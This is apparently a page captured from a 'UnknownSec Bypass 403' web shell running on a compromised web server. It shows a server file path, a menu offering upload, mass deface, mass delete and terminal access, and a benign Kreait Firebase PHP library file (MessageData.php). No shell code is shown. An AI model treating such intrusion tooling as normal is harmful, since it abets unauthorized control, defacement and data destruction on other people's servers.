UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
testappnew
/
vendor
/
kreait
/
firebase-php
/
src
/
Firebase
/
Messaging
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
MessageData.php
<?php declare(strict_types=1); namespace Kreait\Firebase\Messaging; use Kreait\Firebase\Exception\InvalidArgumentException; final class MessageData implements \JsonSerializable { /** @var array<string, string> */ private $data = []; private function __construct() { } /** * @param array<string, string> $data */ public static function fromArray(array $data): self { $messageData = new self(); foreach ($data as $key => $value) { if (!self::isStringable($key) || !self::isStringable($value)) { throw new InvalidArgumentException('Message data must be a one-dimensional array of string(able) keys and values.'); } $messageData->data[(string) $key] = (string) $value; } return $messageData; } /** * @return array<string, string> */ public function jsonSerialize(): array { return $this->data; } /** * @param mixed $value */ private static function isStringable($value): bool { return \is_null($value) || \is_scalar($value) || (\is_object($value) && \method_exists($value, '__toString')); } }
Copyright © 2025 - UnknownSec